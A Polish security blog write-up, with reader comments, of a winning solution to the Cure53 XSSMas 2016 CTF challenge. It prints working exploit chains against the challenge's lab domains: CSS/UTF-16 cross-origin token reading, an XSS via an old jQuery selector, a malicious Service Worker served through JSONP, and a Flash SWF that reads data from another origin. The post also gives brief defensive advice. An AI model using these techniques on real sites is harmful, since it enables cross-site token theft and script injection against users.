Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Wykradanie tokenów, hakowanie jQuery i omijanie Same-Origin Policy – czyli jak wygrałem XSSMas Challenge 2016
- Poznacie ciekawy sposób na odczytywanie tokenów z innej domeny,
- Dowiecie się jak zrobić XSS-a za pomocą jQuery,
- Zobaczycie, w jaki sposób złamać Same-Origin Policy za pomocą Flasha.
XSSMas Challenge to wyzwanie (w stylu CTF-a) organizowane od kilku lat przez firmę Cure53. Jak można domyślić się z nazwy, zadania ogłaszane są zawsze w okolicy Świąt Bożego Narodzenia i polegają na wykorzystaniu podatności typu XSS. Oczywiście wykonanie tego XSS-a nie jest proste i zazwyczaj wymaga wykorzystania jakichś specyficznych cech przeglądarek lub nowych metod ataku.
Zadanie z końcówki 2016 roku udostępnione zostało pod adresem https://xssmas2016.cure53.de/. Na głównej stronie dowiemy się, że celem jest wykonanie XSS-a w domenie https://xssmas2016.cure53.de, który wyświetli w alercie token, wydobyty z domeny https://juicyfile.cure53.de. Wygląda więc na to, że rozwiązanie ćwiczenia będzie też wymagało w jakiś sposób złamania Same-Origin Policy. Zobaczmy zatem po kolei, co było wymagane do rozwiązania ćwiczenia.
Krok 1. Dostęp do /pathway
Na stronie głównej zadania w czerwonym obramowaniu znajdziemy link, który prowadzi do strony o URL-u podobnym do https://xssmas2016.cure53.de/pathway?access_token=589df7f247923#employee. W URL-u znajduje się access_token, który jest unikalny dla każdego użytkownika (tj. jest przechowywany w sesji). Jeśli podamy niepoprawny access_token, dostaniemy niestety komunikat o zabronionym dostępie (Rys 1.).
Wniosek jest z tego taki, że pierwszym krokiem przez który musimy przebrnąć jest wykradzenie tego access_tokenu. Jest to bardzo istotne, bowiem, uprzedzając fakty, to na stronie /pathway będzie punkt wejścia, dzięki któremu wykonamy XSS-a.
Zawartość access_tokenu jest pobierana ze strony https://xssmas2016.cure53.de/token.json?v=1.
Jak widzimy na rysunku 2., w odpowiedzi na token.json dostajemy obiekt JSON-owy, w którym jednym z elementów jest potrzebny access_token. Mamy kontrolę nad parametrem v, który jest przepisywany w odpowiedzi w version. Moim pierwszym pomysłem na wydobycie tego tokenu było skorzystanie z ataku znanego jako JSON hijacking. Ten sposób okazał się jednak być ślepą uliczką.
W rzeczywistości, do wydobycia tokenu należało użyć… CSS-ów. Jeden z twórców zadania – File Descriptor – swego czasu opisywał na swoim blogu, w jaki sposób można użyć arkuszy stylu by wydobywać dane z innej domeny z pomocą kodowania UTF-16. Zacznijmy od kilku słów na temat kodowania UTF-16: jest to kodowanie niezgodne z ASCII, gdzie każdy znak jest zapisywany na dwóch lub czterech bajtach. Jeśli tekst napisany przykładowo w UTF-8 spróbujemy odczytać w kodowaniu UTF-16, najczęściej zobaczmy serię „krzaczków”, wynikających z tego, że UTF-16 „połknie” dwa bajty jako jeden znak. Przykładowo, załóżmy, że mamy string „TEST”. Jeśli spróbujemy go przeczytać w kodowaniu UTF-16BE (UTF-16 Big Endian), dostaniemy string: „瑥獴” . Dlaczego tak? W ciągu znaków „TEST” kolejne znaki mają następujące kody ASCII: 0x74, 0x65, 0x73, 0x74. Gdy tekst jest interpretowany jako UTF-16, dostajemy nagle dwa znaki U+7465 i U+7374.
Wróćmy więc do token.json. Spróbujmy ten plik dołączyć do HTML-a na dwa sposoby:
<!-- bez definicji kodowania --> <link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=" > <!-- z definicją kodowania UTF-16 --> <link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=" charset="utf-16be" >
Na Rys 3. i Rys 4. widzimy, że przeglądarka (Chrome) bierze pod uwagę kodowanie, które zdefiniowaliśmy.
Następnie będziemy musieli wykorzystać dwa fakty:
- W token.json mamy kontrolę nad jednym parametrem, który jest odbijany w odpowiedzi,
- W CSS-ie jesteśmy w stanie zdefiniować pewne właściwości, które później można odczytać z poziomu JavaScriptu.
Spróbujmy więc z następującym kodem:
<link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%00i%00m%00a%00t%00i%00o%00n%00:" charset="utf-16be" >
Dzięki temu, liczymy, że wstrzykniemy w CSS-a następujący fragment kodu: , * {animation:, co sprawi, że każdy element na stronie będzie miał zdefiniowaną właściwość animation z wartością równą temu, co znajduje się dalej w token.json.
Na rysunkach 5 i 6 widzimy, że przeglądarka zinterpretowała fragment CSS-a, który wstrzyknęliśmy w token.json – i przypisała do właściwości animation znaki z któregoś ze wschodnich alfabetów ;)
Naszym ostatnim zadaniem jest pobranie tej wartości w JavaScripcie i przekonwertowanie tych znaków z powrotem do ASCII. Posłużymy się tutaj funkcją getComputedStyle oraz escape/unescape. Kolejne kroki pokazane na rysunku 7.
W ten sposób mamy ukończony pierwszy etap zadania – wydobyliśmy access_token i jesteśmy w stanie przejść do strony pathway z poprawnym tokenem. Jak na razie, kod źródłowy wygląda następująco:
<link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%00i%00m%00a%00t%00i%00o%00n%00:" charset="utf-16be" > <script> var token = unescape(escape(getComputedStyle(document.head).animation).replace(/%u(..)(..)/g, '%$1%$2')).slice(18,31); location = 'https://xssmas2016.cure53.de/pathway?access_token=' + token; </script>
Krok 2. XSS przez jQuery
Wiemy już jak wydobyć access_token by dostać się do strony https://xssmas2016.cure53.de/pathway. Jako kolejny krok: z poziomu tej strony wykonamy XSS-a. Na samym końcu źródła strony jest fragment kodu, który natychmiast zwraca uwagę:
<script> $(location.hash).show(); </script>
Wykorzystany jest tutaj znany XSS w jQuery, polegający na możliwości przekazania fragmentu kodu HTML/JS w selektorze. W starszych wersjach jQuery wykonanie poniższego kodu pozwalało na wyświetlenie alerta:
$("#<img src=1 onerror=alert(1)>")
Zadanie wykorzystywało jednak najnowszą dostępną wersję, jQuery gdzie tego typu sztuczka nie działała. Próba odwołania się do adresu np. https://xssmas2016.cure53.de/pathway?access_token=58c7ca43d2f27#<img src=1 onerror=alert(1)> skutkowało wyświetleniem błędu w konsoli przeglądarki (Rys. 8).
Wydawało się więc, że niezbędne jest odnalezienie innego sposobu na zrobienie XSS-a…
… ale może jednak wróćmy na chwilę do kodu źródłowego strony /pathway:
<script src="https://code.jquery.com/jquery-3.1.1.slim.min.js"></script> <script> // window.name won't bring ye fame window.name = ''; // IE8 fallback window.jQuery || document.write('<script src="jquery.js"><\/script>'); </script>
W pierwszej linii ładowany jest jQuery. Jednak w siódmej linii widzimy sprawdzenie, czy obiekt jQuery istnieje; jeśli nie, wówczas jQuery jest ładowane ponownie, ale z innej ścieżki! Okazuje się oczywiście, że w tej ścieżce znajduje się o wiele starsza wersja jQuery, która jest podatna na XSS-a.
Cure53 jako wskazówkę dla tej części… dała linka do piosenki Inner Circle – Sweat (A La La Long). A wskazówka jest właściwie w tytule – chodzi o słowo „long”.
Gdy wysyłamy zapytanie http do jakiegoś serwera, przeglądarki domyślnie dołączają nagłówek Referer, którego wartość wskazuje na adres URL strony, z poziomu której wykonano to zapytanie. Praktycznie wszystkie serwery mają ograniczenia dotyczące dopuszczalnej długości wartości nagłówków. Okazuje się, że serwer code.jquery.com (z nie do końca jasnych przyczyn) zamykał połączenie, gdy nagłówek Referer miał co najmniej 5000 bajtów.
Wystarczy więc do adresu URL do strony /pathway dopisać pięć tysięcy dowolnych znaków, a następnie po haszu możemy umieścić fragment kodu wykonującego XSS-a. Aktualnie kod wygląda więc następująco:
<link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%00i%00m%00a%00t%00i%00o%00n%00:" charset="utf-16be" > <script> var token = unescape(escape(getComputedStyle(document.head).animation).replace(/%u(..)(..)/g, '%$1%$2')).slice(18,31); location = 'https://xssmas2016.cure53.de/pathway?access_token=' + token + '&'.repeat(5000) + '#<img src=1 onerror=alert(1)>'; </script>
W porównaniu z poprzednim kodem zmieniliśmy tylko tyle, że dopisujemy pięć tysięcy ampersandów do ścieżki, a po znaku hasza mamy najbardziej standardowy kod XSS-owy. Na rysunku 9 widać, że XSS rzeczywiście się wykonuje, a w tle – w konsoli przeglądarki – widoczny jest błąd ERR_CONNECTION_CLOSED podczas próby ładowania jQuery z code.jquery.com.
Krok 3. Kradzież tokenu z juicyfile.cure53.de
Naszym ostatnim zadaniem jest kradzież tokenu z domeny https://juicyfile.cure53.de. Po wejściu na stronę zobaczymy, że na początku wyświetlany jest token, zaś pod spodem jest aplet flashowy przedstawiający podskakującego Mikołaja z reniferem (Rys 10.). O ile sam aplet flashowy do niczego się nam nie przyda, o tyle miał on być najprawdopodobniej wskazówką, że rozwiązanie będzie miało coś wspólnego z Flashem.
Okazuje się, że pod adresem https://juicyfile.cure53.de/crossdomain.xml umieszczony jest plik z polityką dla Flasha.
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="xssmas2016.cure53.de" /> </cross-domain-policy>
W polityce zdefiniowano, że aplety flashowe hostowane w domenie xssmas2016.cure53.de mają przydzielone pozwolenie do odczytywania danych z domeny juicyfile.cure53.de. Musimy więc rozwiązać dwa problemy:
- Przygotować aplet flashowy do pobierania danych z domeny juicyfile.cure53.de,
- Zahostować tego flasha w domenie xssmas2016.cure53.de.
By skompilować własny plik SWF wykorzystamy narzędzie as3compile (dostępne w pakiecie swftools, do zainstalowania np. w dystrybucji Kali). Pliki SWF są kompilowane z języka ActionScript, który de facto jest tym samym standardem co JavaScript. Poniżej wklejam prosty przykład pliku ActionScript, który pobierze dane z domeny juicyfile.cure53.de i wyświetli alert z treścią tokenu.
import flash.external.*; import flash.net.*; (function () { // Tworzymy nowy obiekt typu URLLoader, który pobierze // https://juicyfile.cure53.de var loader = new URLLoader(new URLRequest("https://juicyfile.cure53.de")); // Zdarzenie "complete" jest wywoływane w momencie pobrania // wskazanego wyżej URL. Tutaj wskazujemy, że w momencie // załadowania pliku, zostanie wykonana funkcja loaderCompleted. loader.addEventListener("complete", loaderCompleted); function loaderCompleted(event) { // event.target.data - zawiera treść odpowiedzi http // pobraną za pomocą URLLoader. // Klasa ExternalInterface z kolei pozwala odnieść się // z poziomu Flasha do przeglądarkowego JavaScriptu. // Wywoływany jest tutaj więc alert z pierwszymi znakami // z odpowiedzi z https://juicyfile.cure53.de - czyli // z samym tokenem. ExternalInterface.call("alert", event.target.data.slice(0,37)); } })();
By skompilować ten plik ActionScript możemy posłużyć się poleceniem:
as3compile exploit.as
W efekcie w tym samym katalogu zostanie utworzony plik exploit.swf ze skompilowanym kodem Flasha.
Pozostał do rozwiązania ostatni problem: jak sprawić, by ten plik exploit.swf był zahostowany na domenie https://xssmas2016.cure53.de? Mamy wprawdzie w tej domenie XSS-a, ale to jeszcze nie sprawia, że jesteśmy w stanie zahostować w tej domenie swój plik Flasha.
Z ratunkiem przychodzą: Service Workers! O Service Workers na Sekuraku już pisałem. W skrócie: jest to dość nowy mechanizm w przeglądarkach, które pozwala nam w JavaScripcie zdefiniować proxy przechwytujące wszystkie zapytania wysyłane przez aplikację webową do serwerów zewnętrznych. Co za tym idzie, z poziomu Service Workerów możemy podmienić treść dowolnej odpowiedzi http.
By móc zarejestrować złośliwego Service Workera, muszą być spełnione następujące warunki:
- Domena musi działać w HTTPS (co jest spełnione w przypadku xssmas2016.cure53.de),
- Musimy mieć możliwość wrzucenia własnego kodu JS z ustawionym nagłówkiem Content-type: application/javascript.
Ten drugi warunek może się wydawać dość dużym utrudnieniem, ale w domenie xssmas2016.cure53.de znajduje się endpoint z JSONP – w którym mamy pełną kontrolę nad callbackiem.
Popatrzmy jak wyglądałby kod Service Workera:
// Zdarzenie "onfetch" jest wywoływane w Service Workerze // gdy pobierany jest dowolny zasób w domenie, dla której // Service Worker jest zdefiniowany. onfetch = function (ev) { // Przy próbie pobrania dowolnego zasobu // odpowiadamy wcześniej skompilowanym Flashem. ev.respondWith(fetch("data:application/x-shockwave-flash;base64,Q1dTCXoBAAB42jVPTUvDQBCdmd00SdV%2bgNSKVy9CmwrSi6cK1mIpFAp6K7jZTGwkpjXZit4kv8T/4cG/0J/kltZ3mHlv5jHDW0H9G%2bDnC04RbpseAPwePyLs0IAABPQB6uColHNztjBmVVz3ei/rRH/GScqBXufcvwoi9vTydZWy4ebww3CeqfQ%2bsz1WmitG5c9sZKSMcoo00Sy1StPqw2wy47c1F8a3dLJUEecNFUXDd87MJCkMZ5zX4lQVi4D3R/2dzNi4LWzVWkcOtvEESUqngr5LVZcOXOH4W4G%2bh7b4hyi3cf5j7UFgw0lABBSby5HdO4TYfhIdCjGWZeyUXezSXYXKqUt2T0IinW8uB6hxjh0xRiw1zSmkMVkmQtGRIU69rVcQAdaslzSGGN3AxchOB/btHwVIS94=")); }
Kod Service Workera musi znaleźć się w odpowiedzi z JSONP (Rys 12.).
Service Worker musi jeszcze zostać zarejestrowany. Wykorzystamy w tym celu następujący kod:
navigator.serviceWorker.register("https://xssmas2016.cure53.de/token.jsonp?callback=...") .then(ev=>location=1)
Rejestrujemy Service Workera zdefiniowanego w JSONP, a po udanej rejestracji przekierowujemy do dowolnej innej podstrony w domenie https://xssmas2016.cure53.de. W efekcie – po tym przekierowaniu – przeglądarka odwoła się do Flasha, który pobierze i wyalertuje token.
Finalny kod wygląda następująco:
<link rel="stylesheet" href="https://xssmas2016.cure53.de/token.json?v=%00,%00*%00{%00a%00n%00i%00m%00a%00t%00i%00o%00n%00:" charset="utf-16be" > <script> var token = unescape(escape(getComputedStyle(document.head).animation).replace(/%u(..)(..)/g, '%$1%$2')).slice(18,31); location = 'https://xssmas2016.cure53.de/pathway?access_token=' + token + '&'.repeat(5000) + "#<img src=1 onerror=navigator.serviceWorker.register('https://xssmas2016.cure53.de/token.jsonp?callback=onfetch%20=%20ev%20=%3E%20ev.respondWith(fetch(%22data:application/x-shockwave-flash;base64,Q1dTCXUBAAB42jVPTUvDQBCdmU2apGo/QGrFgycPQhsL4sVTBWuxFIoFjwU3m4mNrGlNtqI3yS/xf3jwL/QnuaX1HWbmzXvM8JZQ/wb4%2bYJjhNumDwC/hw8IWzQgBAFnAHVwpebcnMyNWRbXFxcvq1R9JqnmUK1yvroMY/bV4nWp2XBz8GE4z6S%2bz2xPpOKKkfkzGyeWRrqFThU7SmodPE7H44WMOa/aacpvKy5MQ8bx4J0zM04LwxnntUTLYh7y7miwpRkbr4WtWuvAxTYeITmOW8HAo6pHe55wgw3BwEdbgn10NnH%2bY%2b1AYMM5gAgo1r2h1V1CbD%2bJDkWYOGXill3s0l2FyolHVichkE7XvT4qnOGMOmJEOEIsFUXUcSKc%2bBubIAKsWRspjDC%2bgfOh3fbtxz9T5Up2%22));').then(e=>location=1)>"; </script>
Na rysunku 13 pokazano finalnie działający kod.
Podsumowanie
Rozwiązanie XSSMas Challenge 2016 wymagało rozwiązania trzech problemów:
- Odczytania wartości access_tokenu z poziomu innej domeny,
- Wykonania XSS-a przez jQuery,
- Odczytania finalnego tokenu za pomocą Flasha.
By rozwiązać te problemy należało kolejno:
- Odwołać się do strony https://xssmas2016.cure53.de/token.json z wymuszonym kodowaniem UTF-16-BE, co pozwoliło na zinterpretowanie tej strony jako CSS i późniejszy odczyt access_tokena z poziomu JavaScriptu.
- Zadbać o to, by nie załadowała się najnowsza dostępna wersja jQuery. W tym celu należało do adresu URL dopisać odpowiednio dużą liczbę dowolnych znaków, by następnie połączenie do code.jquery.com zostało zablokowane.
- Odczytać za pomocą Flasha dane z domeny juicyfile.cure53.de. W tym celu należało przede wszystkim skompilować odpowiedni plik SWF, a następnie, wykorzystując Service Workers, sprawić, by z punktu widzenia przeglądarki ten plik był zahostowany w domenie xssmas2016.cure53.de.
Po wykonaniu wszystkich powyższych kroków, zadanie zostało rozwiązane :)
Co zrobić, by spróbować się ochronić przed błędami, które w zadaniu zostały wykorzystane?
- Pamiętać o tym, by ustawiać nagłówek Content-Type wraz z kodowaniem dla wszystkich odpowiedzi. Pierwsza część ataku nie przeszłaby, gdyby serwer zwracał nagłówek Content-Type: application/javascript;charset=utf-8 .
- W przypadku używania JSONP, nie pozwalać na definiowanie dowolnych znaków w callbacku, jak również ograniczać jego długość (np. do 20 znaków).
– Michał Bentkowski, pentester w Securitum
Wytłumacz proszę, po co były zabawy z CSS i UTF16, skoro zdobyty access token to ta sama wartość, którą JSON zwracał „normalnie” – widać to na Rys. 3.
Dlatego że tego co widać na rys 3. nie dało się przeczytać z poziomu strony na innej domenie.
Innymi słowy: wartość tokenu była widoczna w narzędziach przeglądarki, ale już z poziomu JavaScriptu na innej stronie nie dało się jej przeczytać. Dlatego potrzebna była sztuczka z CSS i UTF-16 by móc się do tego dobrać.
A co z hidden bonus levelem za 250 SIF… EUR? :) Udało się go odnaleźć i rozwiązać? Jeśli tak, to na czym polegał?
Znalazłem go, ale nie rozwiązałem; w trakcie trwania wyzwania skupiałem się głównie na skróceniu swojego rozwiązania ;)
W oficjalnym opisie (https://github.com/cure53/XSSChallengeWiki/wiki/XSSMas-Challenge-2016#bonus-challenge) jest opis rozwiązania zadania bonusowego. Krótko mówiąc, trzeba było wykorzystać Same-Origin Method Execution w pliku santa.swf i użyć go do wykonania funkcji evalScripts z prototype.js.
Ile czasu zajelo Ci rozwiazanie tego zadania?
Nie rozumiem w jaki magiczny sposob dowiedziales sie ze że serwer code.jquery.com zamykał połączenie, gdy nagłówek Referer miał co najmniej 5000 bajtów. Po tym jak cure53 wyslal posenke do la la long, zaczales testowac naglowek referer do jquery.com i sprawdzalas po ilu bajtach sie wykaszani? Ten krok bylby juz dla mnie nie do przeskoczenia
Trudno mi powiedzieć konkretnie ile czasu na nim spędziłem. Ale było to naprawdę wiele godzin ;)
Najwięcej czasu spędziłem na tej części z jQuery. Na podstawie podpowiedzi „a la la la long” po prostu spróbowałem dodać bardzo dużo tekstu do linka i zobaczyć jak serwer kod jquery będzie się zachowywał. Na dobry początek spróbowałem 5000 znaków i to okazało się wystarczające. Później analizowałem to dokładniej i, jeśli dobrze pamiętam, takie zachowanie zaczynało się przy ok. 3000 znakach. Ale dokładna liczba nie miała znaczenia, bo ostatecznie „3000” i „5000” to cztery znaki, jeśli chodzi o długość rozwiązania ;)
Odpowiadając na drugie pytanie: UTF-16BE nie było jedynym kodowaniem, które pozwalało rozwiązać zadanie. UTF-16LE na pewno też działało. Czy działałyby UTF-32 czy SHIFT-JIS? Trzeba byłoby to przetestować, bo wszystko zależy od tego czy w tych kodowaniach w CSS-ie utworzyłyby się poprawne identyfikatory.
Czy jedynym rozwiazaniem jest uzycie UTF-16BE? Czy mozna uzywac UTF-16LE, UTF-32, SHIFT-JIS, ISO-2022-JP?
Serdeczne gratulacje!
Dlaczego nie ma Ciebie w „Solvers” na stronie https://xssmas2016.cure53.de/ ?
Jestem – @SecurityMB ;)
Michał, możesz potwierdzić, że twoje rozwiązanie wciąż działa? Probuję to odtworzyć, ale nie wywala mi XSSa jak na rys.9. Dodanie 5000 znaków to urla, nie działa mi tak jak opisujesz i mam cały czas syntax w bibliotece jquery-3.1.1.slim.
Spróbuj w trybie incognito. Możliwe, że przeglądarka ma nową wersję jQuery w cache’u i nie próbuje jej pobierać z serwera.
Moje pierwsze rozwiązanie miało dodany kod, który próbował czyścić cache, ale dostałem od cure53 informację, że oni wszystkie rozwiązania testują w trybie prywatnym.